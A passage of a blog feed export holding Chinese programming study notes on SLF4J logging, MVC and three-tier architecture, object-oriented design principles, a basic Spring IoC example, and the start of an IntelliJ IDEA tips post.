class="code"><pre><span class="line">2018-06-07 05:15:42,914 INFO [com.funtl.hello.spring.MyTest] - slf4j for info</span><br><span class="line">2018-06-07 05:15:42,915 ERROR [com.funtl.hello.spring.MyTest] - slf4j for error</span><br><span class="line">2018-06-07 05:15:42,915 WARN [com.funtl.hello.spring.MyTest] - slf4j for warn</span><br><span class="line">2018-06-07 05:15:42,916 INFO [com.funtl.hello.spring.MyTest] - slf4j message is : Hello SLF4J</span><br></pre></td></tr></table></figure>项目根目录下也会多出 <code>logs/log.log</code> 目录及文件</li></ul><h1 id="附：占位符说明"><a href="#附：占位符说明" class="headerlink" title="附：占位符说明"></a>附：占位符说明</h1><p>打日志的时候使用了<code>{}</code> 占位符，这样就不会有字符串拼接操作，减少了无用 <code>String</code> 对象的数量，节省了内存。并且，记住，在生产最终日志信息的字符串之前，这个方法会检查一个特定的日志级别是不是打开了，这不仅降低了内存消耗而且预先降低了<code>CPU</code> 去处理字符串连接命令的时间。</p>]]></content>
      
      
      <categories>
          
          <category> log4j </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> log4j </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>高内聚低耦合</title>
      <link href="/2018/06/01/gao-nei-ju-di-ou-he/"/>
      <url>/2018/06/01/gao-nei-ju-di-ou-he/</url>
      
        <content type="html"><![CDATA[<p>随笔：<br>视图层<br>业务逻辑层 service<br>数据访问层 Dao 数据访问对象（持久层）</p><p>在开发中，业务才是核心</p><p>新的技术诞生都是为了提高产品的</p><ul><li>效率</li><li>安全性</li><li>易于维护，使用</li></ul><blockquote><p>总结：技术是辅助业务的</p></blockquote><p>业务问题</p><p>业务是有复杂度的，事务</p><p>又分为：</p><ul><li>简单业务  开启一个事务</li><li>普通业务  开启三个事务</li><li>复杂业务  开启七个事务</li></ul><p>多张表之间有依赖关系   –&gt; 强关联性</p><p>所有业务都写进main方法那么这个就是      <code>高耦合</code></p><p>方法技巧：</p><ul><li>一个类只做一件事</li><li>一个方法只做一件事</li><li>写且只写一次<ul><li>例如：工具类–&gt;日期管理–&gt;依赖专门负责日期运算方法</li><li>例如：数学工具类<br>日期也有加减  四则运算<br>（当日期类依赖了数学类就是强相关的，耦合就产生了）<blockquote><p>按照以上三个步骤就可以实现<code>高内聚，低耦合</code></p></blockquote></li></ul></li></ul>]]></content>
      
      
      <categories>
          
          <category> 随笔 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
            <tag> 学习笔记 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>什么是MVC模式</title>
      <link href="/2018/05/16/shi-me-shi-mvc-mo-shi/"/>
      <url>/2018/05/16/shi-me-shi-mvc-mo-shi/</url>
      
        <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>MVC，即 Model 模型、View 视图，及 Controller 控制器。</p><ul><li>View：视图，为用户提供使用界面，与用户直接进行交互。</li><li>Model：模型，承载数据，并对用户提交请求进行计算的模块。其分为两类，一类称为数据承载 Bean，一类称为业务处理 Bean。所谓数据承载 Bean 是指实体类，专门用户承载业务数据的，如 Student、User 等。而业务处理 Bean 则是指 Service 或 Dao 对象， 专门用于处理用户提交请求的。</li><li>Controller：控制器，用于将用户请求转发给相应的 Model 进行处理，并根据 Model 的计算结果向用户提供相应响应。<h1 id="MVC-架构程序的工作流程"><a href="#MVC-架构程序的工作流程" class="headerlink" title="MVC 架构程序的工作流程"></a>MVC 架构程序的工作流程</h1></li><li>用户通过 View 页面向服务端提出请求，可以是表单请求、超链接请求、AJAX 请求等</li><li>服务端 Controller 控制器接收到请求后对请求进行解析，找到相应的 Model 对用户请求进行处理</li><li>Model 处理后，将处理结果再交给 Controller</li><li>Controller 在接到处理结果后，根据处理结果找到要作为向客户端发回的响应 View 页面。页面经渲染（数据填充）后，再发送给客户端。</li></ul><p><img src="https://funtl.com/assets/Lusifer2018060421090002.png" alt=""></p><h1 id="三层架构-MVC-示意图"><a href="#三层架构-MVC-示意图" class="headerlink" title="三层架构 + MVC 示意图"></a>三层架构 + MVC 示意图</h1><p><img src="https://funtl.com/assets/Lusifer2018060421090003.png" alt=""></p><p>PS : <code>MVC模式</code>是三层架构的<code>视图层</code></p><p>说说你对设计原则的理解</p><p>口诀</p><p>为了便于记忆,我们可以使用一一个几决来记忆面向对象设计原则:开口合里最单依</p><p>开:开闭原则<br>口:接口隔离原则<br>合:组合/聚合原则<br>里:里式替换原则<br>最:最少知识原则(迪米特法则)<br>单:单一职责原则<br>依:依赖倒置原则<br>开闭原则(Open-Closed Principle, 0CP)</p><p>一个软件实体应当刘扩展开发，对修改关闭说的是，再设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展换言之，应当可以在不必修改源代码的情况下改变这个模块的行为,在保持系统定稳定性的基础F ,对系统进行扩展。这是面向对象设计( 0OD )的基石，也是最重要的原则。</p><p>接口隔离原则(Interface Segregation Principle, ISP)</p><p>一个类对另外一个类的依赖是建立在最小的接山上。</p><p>使用多个专J的接口比使用单-的总接C要好根据客户需要的不同，而为不同的客户端提供不同的服务是一 种应当得到鼓励的做法。就像”看人下菜碟”一 -样要看客人是谁，再提供不同档次的饭菜.</p><p>胖接口会导致他们的客户程序之间产生不正常的并且有害的耦合关系当一个客户程序要求该胖接口进行-一个改动时,会影响到所有其他的客户程序,因此客户程序应该仅仅依赖他们实际需要调用的方法.</p><p>组合/聚合复用原则(Composite/Aggregate Reuse Principle , CARP)</p><p>在一个新的对象里面使用一些已有的对象,使之成为新对象的一部分;新的对象通过这些向对象的委派达到复用已有功能的目的.这个设计原则有另一个简短的表述:要尽量使用合成/聚合,尽量不要使用继承.</p><p>里氏代换原则(Liskov Substitution Principle，LSP)</p><h1 id="说说你对设计原则的理解"><a href="#说说你对设计原则的理解" class="headerlink" title="说说你对设计原则的理解"></a>说说你对设计原则的理解</h1><h3 id="口诀"><a href="#口诀" class="headerlink" title="口诀"></a>口诀</h3><p>为了便于记忆,我们可以使用一一个几决来记忆面向对象设计原则:开口合里最单依</p><ul><li>开:开闭原则</li><li>口:接口隔离原则</li><li>合:组合/聚合原则</li><li>里:里式替换原则</li><li>最:最少知识原则(迪米特法则)</li><li>单:单一职责原则</li><li>依:依赖倒置原则</li></ul><h3 id="开闭原则-Open-Closed-Principle-0CP"><a href="#开闭原则-Open-Closed-Principle-0CP" class="headerlink" title="开闭原则(Open-Closed Principle, 0CP)"></a>开闭原则(Open-Closed Principle, 0CP)</h3><p>一个软件实体应当刘扩展开发，对修改关闭说的是，再设计一个模块的时候,应当使这个模块可以在不被修改的前提下被扩展换言之，应当可以在不必修改源代码的情况下改变这个模块的行为,在保持系统定稳定性的基础F ,对系统进行扩展。这是面向对象设计( 0OD )的基石，也是最重要的原则。</p><h3 id="接口隔离原则-Interface-Segregation-Principle-ISP"><a href="#接口隔离原则-Interface-Segregation-Principle-ISP" class="headerlink" title="接口隔离原则(Interface Segregation Principle, ISP)"></a>接口隔离原则(Interface Segregation Principle, ISP)</h3><ul><li><p>一个类对另外一个类的依赖是建立在最小的接山上。</p></li><li><p>使用多个专J的接口比使用单-的总接C要好根据客户需要的不同，而为不同的客户端提供不同的服务是一 种应当得到鼓励的做法。就像”看人下菜碟”一 -样要看客人是谁，再提供不同档次的饭菜.</p></li><li><p>胖接口会导致他们的客户程序之间产生不正常的并且有害的耦合关系当一个客户程序要求该胖接口进行-一个改动时,会影响到所有其他的客户程序,因此客户程序应该仅仅依赖他们实际需要调用的方法.</p></li></ul><h3 id="组合-聚合复用原则-Composite-Aggregate-Reuse-Principle-CARP"><a href="#组合-聚合复用原则-Composite-Aggregate-Reuse-Principle-CARP" class="headerlink" title="组合/聚合复用原则(Composite/Aggregate Reuse Principle , CARP)"></a>组合/聚合复用原则(Composite/Aggregate Reuse Principle , CARP)</h3><p>在一个新的对象里面使用一些已有的对象,使之成为新对象的一部分;新的对象通过这些向对象的委派达到复用已有功能的目的.这个设计原则有另一个简短的表述:要尽量使用合成/聚合,尽量不要使用继承.</p><h3 id="里氏代换原则-Liskov-Substitution-Principle，LSP"><a href="#里氏代换原则-Liskov-Substitution-Principle，LSP" class="headerlink" title="里氏代换原则(Liskov Substitution Principle，LSP)"></a>里氏代换原则(Liskov Substitution Principle，LSP)</h3><p>由 Barbar Liskov (芭芭拉.里氏) 提出，是继承复用的基石。</p><p>所有引用基类的地方必须透明的使用其子类的对象。只要父类能出现的地方子类也可以出现，而且替换为子类不会产生任何错误或异常，但是反过来就不行，有子类出现的地方，父类未必就能适应。</p><h3 id="最少知识原则-Least-Knowledge-Principle，LKP"><a href="#最少知识原则-Least-Knowledge-Principle，LKP" class="headerlink" title="最少知识原则(Least Knowledge Principle，LKP)"></a>最少知识原则(Least Knowledge Principle，LKP)</h3><p>一个对象应当对其他对象有尽可能少的了解.</p><p>没有任何一个其他的 OO 设计原则象迪米特法则这样有如此之多的表述方式,如下几种：</p><ul><li>只与你直接的朋友们通信(Only talk to your immediate friends)</li><li>不要跟”陌生人”说话(Don’t talk to strangers)</li><li>每一个软件单位对其他的单位都只有最少的知识,而且局限于那些本单位密切相关的软件单位</li></ul><p>就是说,如果两个类不必彼此直接通信,那么这两个类就不应当发生直接的相互作用,如果其中的一个类需要调用另一个类的某一个方法的话,可以通过第三者转发这个调用。</p><h3 id="单一职责原则-Simple-responsibility-pinciple，SRP"><a href="#单一职责原则-Simple-responsibility-pinciple，SRP" class="headerlink" title="单一职责原则(Simple responsibility pinciple，SRP)"></a>单一职责原则(Simple responsibility pinciple，SRP)</h3><p>就一个类而言,应该仅有一个引起它变化的原因,如果你能想到多于一个的动机去改变一个类,那么这个类就具有多于一个的职责.应该把多于的指责分离出去,分别再创建一些类来完成每一个职责.</p><h3 id="依赖倒置原则-Dependence-Inversion-Principle"><a href="#依赖倒置原则-Dependence-Inversion-Principle" class="headerlink" title="依赖倒置原则(Dependence Inversion Principle)"></a>依赖倒置原则(Dependence Inversion Principle)</h3><p>要求客户端依赖于抽象耦合.</p><ul><li>模块间的依赖通过抽象发生，实现类之间不发生直接的依赖关系，其依赖关系是通过- 接口或抽象类产生的。</li><li>接口或抽象类不依赖实现类</li><li>实现类依赖接口或抽象类</li></ul><p>采用依赖倒置原则可以减少类间的耦合性，提高系统的稳定，降低并行开发引起的风险，提高代码的可读性和可维护性。</p>]]></content>
      
      
      <categories>
          
          <category> MVC模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> MVC模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>什么是三层架构</title>
      <link href="/2018/05/11/shi-me-shi-san-ceng-jia-gou/"/>
      <url>/2018/05/11/shi-me-shi-san-ceng-jia-gou/</url>
      
        <content type="html"><![CDATA[<h1 id="什么是系统架构"><a href="#什么是系统架构" class="headerlink" title="什么是系统架构"></a>什么是系统架构</h1><p>所谓系统架构是指，整合应用系统程序大的结构。经常提到的系统结构有两种：三层架构与 MVC。这两种结构既有区别，又有联系。但这两种结构的使用，均是为了降低系统模块间的耦合度。</p><h1 id="什么是三层架构"><a href="#什么是三层架构" class="headerlink" title="什么是三层架构"></a>什么是三层架构</h1><p>三层架构是指：视图层 View、服务层 Service，与持久层 DAO。它们分别完成不同的功能。</p><ul><li>View 层：用于接收用户提交请求的代码</li><li>Service 层：系统的业务逻辑主要在这里完成</li><li>DAO 层：直接操作数据库的代码<br>为了更好的降低各层间的耦合度，在三层架构程序设计中，采用面向抽象编程。即上层对下层的调用，是通过接口实现的。而下层对上层的真正服务提供者，是下层接口的实现类。服务标准（接口）是相同的，服务提供者（实现类）可以更换。这就实现了层间解耦合。</li></ul><p><img src="https://funtl.com/assets/Lusifer2018060421090001.png" alt=""></p><h1 id="为什么需要架构"><a href="#为什么需要架构" class="headerlink" title="为什么需要架构"></a>为什么需要架构</h1><p>随着系统的升级，业务结构就越来复杂，越复杂的系统它的耦合度就越高，所以就需要架构进行解耦合。<br><img src="https://funtl.com/assets/Lusifer2018060421090001.png" alt=""></p><h1 id="随笔："><a href="#随笔：" class="headerlink" title="随笔："></a>随笔：</h1><p>视图层</p><p>业务逻辑层 service</p><p>数据访问层 Dao 数据访问对象（持久层）</p><h1 id="在开发中，业务才是核心"><a href="#在开发中，业务才是核心" class="headerlink" title="在开发中，业务才是核心"></a>在开发中，业务才是核心</h1><p>新的技术诞生都是为了提高产品的</p><ul><li>效率</li><li>安全性</li><li>易于维护，使用</li></ul><blockquote><p>总结：技术是辅助业务的</p></blockquote><p><strong>业务问题</strong></p><p>业务是有复杂度的，事务</p><p>又分为：</p><ul><li>简单业务  开启一个事务</li><li>普通业务  开启三个事务</li><li>复杂业务  开启七个事务</li></ul><p>多张表之间有依赖关系   –&gt; 强关联性</p><p>所有业务都写进main方法那么这个就是      <code>高耦合</code></p><p>方法技巧：</p><ul><li>一个类只做一件事</li><li>一个方法只做一件事</li><li>写且只写一次<ul><li>例如：工具类–&gt;日期管理–&gt;依赖专门负责日期运算方法</li><li>例如：数学工具类<br>日期也有加减  四则运算<br>（当日期类依赖了数学类就是强相关的，耦合就产生了）<blockquote><p>按照以上三个步骤就可以实现<code>高内聚，低耦合</code></p></blockquote></li></ul></li></ul><h1 id="Model-角色"><a href="#Model-角色" class="headerlink" title="Model              角色"></a>Model              角色</h1><p>数据模型  Entity     JSP</p><p>业务模型  Service   </p><p>控制器 Controller  处理用户的请求</p><p>Servlet 服务器的小程序</p><ul><li>处理业务逻辑</li><li>处理页面展示</li></ul><p>JSP就是Servlet 处理页面展示的技术  .asp  .jsp  .php</p>]]></content>
      
      
      <categories>
          
          <category> 架构 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 架构 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Spring框架</title>
      <link href="/2018/05/05/spring-kuang-jia/"/>
      <url>/2018/05/05/spring-kuang-jia/</url>
      
        <content type="html"><![CDATA[<h1 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h1><p>Spring 的主要作用就是为代码“解耦”，降低代码间的耦合度。</p><p>根据功能的不同，可以将一个系统中的代码分为 <strong>主业务逻辑</strong> 与 <strong>系统级业务逻辑</strong> 两类。它们各自具有鲜明的特点：主业务代码间逻辑联系紧密，有具体的专业业务应用场景，复用性相对较低；系统级业务相对功能独立，没有具体的专业业务应用场景，主要是为主业务提供系统级服务，如日志、安全、事务等，复用性强。</p><p>Spring 根据代码的功能特点，将降低耦合度的方式分为了两类：IoC 与 AOP。IoC 使得主业务在相互调用过程中，不用再自己维护关系了，即不用再自己创建要使用的对象了。而是由 Spring 容器统一管理，自动“注入”。而 AOP 使得系统级服务得到了最大复用，且不用再由程序员手工将系统级服务“混杂”到主业务逻辑中了，而是由 Spring 容器统一完成“织入”。</p><p>Spring 是于 2003 年兴起的一个轻量级的 Java 开发框架，它是为了解决企业应用开发的复杂性而创建的。Spring 的核心是控制反转（IoC）和面向切面编程（AOP）。简单来说，Spring 是一个分层的 Java SE/EE full-stack(一站式)轻量级开源框架。</p><h1 id="Spring-体系结构"><a href="#Spring-体系结构" class="headerlink" title="Spring 体系结构"></a>Spring 体系结构</h1><p><img src="https://funtl.com/assets/spring-overview.png" alt=""></p><p>Spring 由 20 多个模块组成，它们可以分为数据访问/集成（Data Access/Integration）、Web、面向切面编程（AOP, Aspects）、应用服务器设备管理（Instrumentation）、消息发送（Messaging）、核心容器（Core Container）和测试（Test）。</p><h1 id="Spring-的特点"><a href="#Spring-的特点" class="headerlink" title="Spring 的特点"></a>Spring 的特点</h1><h3 id="非侵入式"><a href="#非侵入式" class="headerlink" title="非侵入式"></a>非侵入式</h3><p>所谓非侵入式是指，Spring 框架的 API 不会在业务逻辑上出现，即业务逻辑是 POJO。由于业务逻辑中没有 Spring 的 API，所以业务逻辑可以从 Spring 框架快速的移植到其他框架， 即与环境无关。</p><h3 id="容器"><a href="#容器" class="headerlink" title="容器"></a>容器</h3><p>Spring 作为一个容器，可以管理对象的生命周期、对象与对象之间的依赖关系。可以通过配置文件，来定义对象，以及设置与其他对象的依赖关系。</p><h3 id="IoC"><a href="#IoC" class="headerlink" title="IoC"></a>IoC</h3><p>控制反转（Inversion of Control），即创建被调用者的实例不是由调用者完成，而是由 Spring 容器完成，并注入调用者。</p><p>当应用了 IoC，一个对象依赖的其它对象会通过被动的方式传递进来，而不是这个对象自己创建或者查找依赖对象。即，不是对象从容器中查找依赖，而是容器在对象初始化时不等对象请求就主动将依赖传递给它。</p><h3 id="AOP"><a href="#AOP" class="headerlink" title="AOP"></a>AOP</h3><p>面向切面编程（AOP，Aspect Orient Programming），是一种编程思想，是面向对象编程 OOP 的补充。很多框架都实现了对 AOP 编程思想的实现。Spring 也提供了面向切面编程的丰富支持，允许通过分离应用的业务逻辑与系统级服务（例如日志和事务管理）进行开发。应用对象只实现它们应该做的——完成业务逻辑——仅此而已。它们并不负责其它的系统级关注点，例如日志或事务支持。</p><p>我们可以把日志、安全、事务管理等服务理解成一个“切面”，那么以前这些服务一直是直接写在业务逻辑的代码当中的，这有两点不好：首先业务逻辑不纯净；其次这些服务被很多业务逻辑反复使用，完全可以剥离出来做到复用。那么 AOP 就是这些问题的解决方案， 可以把这些服务剥离出来形成一个“切面”，以期复用，然后将“切面”动态的“织入”到业务逻辑中，让业务逻辑能够享受到此“切面”的服务。</p><h1 id="Spring-与-IoC"><a href="#Spring-与-IoC" class="headerlink" title="Spring 与 IoC"></a>Spring 与 IoC</h1><p>控制反转（IoC，Inversion of Control），是一个概念，是一种思想。指将传统上由程序代码直接操控的对象调用权交给容器，通过容器来实现对象的装配和管理。控制反转就是对对象控制权的转移，从程序代码本身反转到了外部容器。</p><p>IoC 是一个概念，是一种思想，其实现方式多种多样。当前比较流行的实现方式有两种： 依赖注入和依赖查找。依赖注入方式应用更为广泛。</p><ul><li>依赖查找：Dependency Lookup，DL，容器提供回调接口和上下文环境给组件，程序代码则需要提供具体的查找方式。比较典型的是依赖于 JNDI 系统的查找。</li><li><strong>依赖注入：</strong>Dependency Injection，DI，程序代码不做定位查询，这些工作由容器自行完成。<br>依赖注入 DI 是指程序运行过程中，若需要调用另一个对象协助时，无须在代码中创建被调用者，而是依赖于外部容器，由外部容器创建后传递给程序。</li></ul><p>Spring 的依赖注入对调用者与被调用者几乎没有任何要求，完全支持 POJO 之间依赖关系的管理。</p><p><strong>依赖注入是目前最优秀的解耦方式</strong>。依赖注入让 Spring 的 Bean 之间以配置文件的方式组织在一起，而不是以硬编码的方式耦合在一起的。</p><h1 id="POM"><a href="#POM" class="headerlink" title="POM"></a>POM</h1><p>创建一个工程名为 hello-spring 的项目，pom.xml 文件如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot;</span><br><span class="line">         xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br><span class="line">         xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&quot;&gt;</span><br><span class="line">    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;</span><br><span class="line"></span><br><span class="line">    &lt;groupId&gt;com.lele&lt;/groupId&gt;</span><br><span class="line">    &lt;artifactId&gt;hello-spring&lt;/artifactId&gt;</span><br><span class="line">    &lt;version&gt;1.0.0-SNAPSHOT&lt;/version&gt;</span><br><span class="line">    &lt;packaging&gt;jar&lt;/packaging&gt;</span><br><span class="line"></span><br><span class="line">    &lt;dependencies&gt;</span><br><span class="line">        &lt;dependency&gt;</span><br><span class="line">            &lt;groupId&gt;org.springframework&lt;/groupId&gt;</span><br><span class="line">            &lt;artifactId&gt;spring-context&lt;/artifactId&gt;</span><br><span class="line">            &lt;version&gt;4.3.17.RELEASE&lt;/version&gt;</span><br><span class="line">        &lt;/dependency&gt;</span><br><span class="line">    &lt;/dependencies&gt;</span><br><span class="line">&lt;/project&gt;</span><br></pre></td></tr></table></figure><p>主要增加了 org.springframework:spring-context 依赖</p><h1 id="创建接口与实现"><a href="#创建接口与实现" class="headerlink" title="创建接口与实现"></a>创建接口与实现</h1><h3 id="创建-UserService-接口"><a href="#创建-UserService-接口" class="headerlink" title="创建 UserService 接口"></a>创建 <code>UserService</code> 接口</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.lele.hello.spring.service;</span><br><span class="line"></span><br><span class="line">public interface UserService &#123;</span><br><span class="line">    public void sayHi();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="创建-UserServiceImpl-实现"><a href="#创建-UserServiceImpl-实现" class="headerlink" title="创建 UserServiceImpl 实现"></a>创建 UserServiceImpl 实现</h3><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.lele.hello.spring.service.impl;</span><br><span class="line"></span><br><span class="line">import com.lele.hello.spring.service.UserService;</span><br><span class="line"></span><br><span class="line">public class UserServiceImpl implements UserService &#123;</span><br><span class="line">    public void sayHi() &#123;</span><br><span class="line">        System.out.println(&quot;Hello Spring&quot;);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="创建-Spring-配置文件"><a href="#创建-Spring-配置文件" class="headerlink" title="创建 Spring 配置文件"></a>创建 Spring 配置文件</h1><p>在 <code>src/main/resources</code> 目录下创建 <code>spring-context.xml</code> 配置文件，从现在开始类的实例化工作交给 Spring 容器管理（IoC），配置文件如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;</span><br><span class="line">&lt;beans xmlns=&quot;http://www.springframework.org/schema/beans&quot;</span><br><span class="line">       xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot;</span><br><span class="line">       xsi:schemaLocation=&quot;</span><br><span class="line">       http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&quot;&gt;</span><br><span class="line"></span><br><span class="line">    &lt;bean id=&quot;userService&quot; class=&quot;com.lele.hello.spring.service.impl.UserServiceImpl&quot; /&gt;</span><br><span class="line">&lt;/beans&gt;</span><br></pre></td></tr></table></figure><ul><li><p><bean />：用于定义一个实例对象。一个实例对应一个 bean 元素。</p></li><li><p>id：该属性是 Bean 实例的唯一标识，程序通过 id 属性访问 Bean，Bean 与 Bean 间的依赖关系也是通过 id 属性关联的。</p></li><li><p>class：指定该 Bean 所属的类，注意这里只能是类，不能是接口。</p></li></ul><h1 id="测试-Spring-IoC"><a href="#测试-Spring-IoC" class="headerlink" title="测试 Spring IoC"></a>测试 Spring IoC</h1><p>创建一个 MyTest 测试类，测试对象是否能够通过 Spring 来创建，代码如下：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">package com.lele.hello.spring;</span><br><span class="line"></span><br><span class="line">import com.lele.hello.spring.service.UserService;</span><br><span class="line">import org.springframework.context.ApplicationContext;</span><br><span class="line">import org.springframework.context.support.ClassPathXmlApplicationContext;</span><br><span class="line"></span><br><span class="line">public class MyTest &#123;</span><br><span class="line"></span><br><span class="line">    public static void main(String[] args) &#123;</span><br><span class="line">        // 获取 Spring 容器</span><br><span class="line">        ApplicationContext applicationContext = new ClassPathXmlApplicationContext(&quot;spring-context.xml&quot;);</span><br><span class="line">        </span><br><span class="line">        // 从 Spring 容器中获取对象</span><br><span class="line">        UserService userService = (UserService) applicationContext.getBean(&quot;userService&quot;);</span><br><span class="line">        userService.sayHi();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>关于intelij IDEA2019.2的使用教程</title>
      <link href="/2018/05/02/guan-yu-intelij-idea2019-2-de-shi-yong-jiao-cheng/"/>
      <url>/2018/05/02/guan-yu-intelij-idea2019-2-de-shi-yong-jiao-cheng/</url>
      
        <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><blockquote><p>工欲善其事<br>必先利其器</p></blockquote><p>同时，在这次分享之后，本人自己也学习到了一些新的使用技巧，所以借着这次机会，一起分享出来。希望可以帮到一些人，不能浪费IDEA这个优秀的IDE呀。</p><blockquote><p>基于的 IDEA 版本信息：IntelliJ IDEA 2019.2版本</p></blockquote><h2 id="知识点概览："><a href="#知识点概览：" class="headerlink" title="知识点概览："></a>知识点概览：</h2><ul><li><p>高效率配置</p></li><li><p>日常使用 必备快捷键（★★）</p></li></ul><pre><code>- 查找- 跳转切换- 编码相关- 代码阅读相关- 版本管理相关</code></pre><ul><li><p>编码效率相关（★★）</p><ul><li><p>文件代码模板</p></li><li><p>实时代码模板</p></li><li><p>其他</p></li></ul></li><li><p>代码调试 源码阅读相关（★★★）</p><ul><li><p>视图模式</p></li><li><p>代码调试</p></li><li><p>…</p></li></ul></li><li><p>插件方面</p><ul><li><p>插件的安装与使用</p></li><li><p>插件推荐</p></li></ul></li><li><p>参考</p><hr/><h2 id="标题高效率配置"><a href="#标题高效率配置" class="headerlink" title="标题高效率配置"></a>标题高效率配置</h2><ol><li>代码提示不区分大小写</li></ol><p>Settings -&gt; Editor -&gt; General -&gt; Code Completion<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNPaWJub0V0dVNpYVVhRjdjblRyanFjbWlhZHBEdHJwcXEwYlV1SHNvMUx5WlZJbElCMUwyeEJwckEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>(低版本 将 Case sensitive completion 设置为 None 就可以了)</p></li></ul><ol start="2"><li>自动导包功能及相关优化功能</li></ol><p>Settings -&gt; Editor -&gt; General -&gt; Auto Import<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNuYmg2bjVSOTF2eUI3a05XZkZyd2tQNDJhQm1GcFdvRWQ1dnp2OGlia1I0WHZDbTFOQ1lUNUhnLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><ol start="3"><li>CTRL + 滑动滚轮 调整窗口显示大小</li></ol><p>Settings -&gt; Editor -&gt; General -&gt; Change font size (Zoom) with Ctrl+Mouse wheel</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNMNWJRVkZtRzl0RG9vU3hSY3ppYnpveU5PZWtNTHhWTFg3RHFYRGYzeXR2SlVsWGZMaWFuaWJOeEEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><p>选择之后，就可以通过CTRL+滑动滚轮的方式，调整编辑器窗口的字体大小</p><p>4.tab 多行显示</p><p>这点因人而异，有些人喜欢直接取消所有tab，改用快捷键的方式，我屏幕比较大，所以喜欢把tab全部显示出来。</p><p>Window -&gt; Editor Tabs -&gt; Tabs Placement，取消勾选 Show Tabs In Single Row选项。<br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnN3VWNBemxpY016NGVpY2s1YW9ZUGtjcVRWcWVqbjQzZDM0NmpraWI3UkZ3VXBINlYySzcxRGdGQWcvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br>效果如下：</p><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy96Nzl5SWJHQkVRQnNBZmo2WU9JMlNqdExKZHQzMnBkMzZqQUNMWGd0ODdoc0Zzd2liOURFaWNqanlJODFlOFRzYkF0djVpY3B4aWJkdEF0MlJyN0ZOTlhpYVFBLzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><ol start="5"><li>代码编辑区显示行号<br>Settings -&gt; Editor -&gt; General -&gt; Appearance 勾选 Show Line Numbers</li></ol><p><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X3BuZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnM5cmJ1NUpIREtVM1RJcjZmWFVFVEw0aWNUR0NpYzBOZW9zRFRubVlPakpxdld4N1FpYkt1Nm5PSkEvNjQw?x-oss-process=image/format,png" alt="在这里插入图片描述"><br><img src="https://imgconvert.csdnimg.cn/aHR0cHM6Ly9tbWJpei5xcGljLmNuL21tYml6X2pwZy9RQ3U4NDlZVGFJTUFDenU1RHYweWhpYzRHUldVSm1qUnNob2FRSGJWcnlHTmdSS2Z3VW9BejZWaWJ0S0dxSlBZUmoxVE1tTTdMa3VPRTFUMTg1bEw4a0R3LzY0MA?x-oss-process=image/format,png" alt="在这里插入图片描述"></p><hr/><h2 id="日常使用-必备快捷键（★★）"><a href="#日常使用-必备快捷键（★★）" class="headerlink" title="日常使用 必备快捷键（★★）"></a>日常使用 必备快捷键（★★）</h2><p>查找<br>| 快捷键                       | 介绍                |<br>|—————————|——————-|<br>| Ctrl + F                 | 在当前文件进行文本查找       |<br>| Ctrl + R                 | 在当前文件进行文本替换       |<br>| Shift + 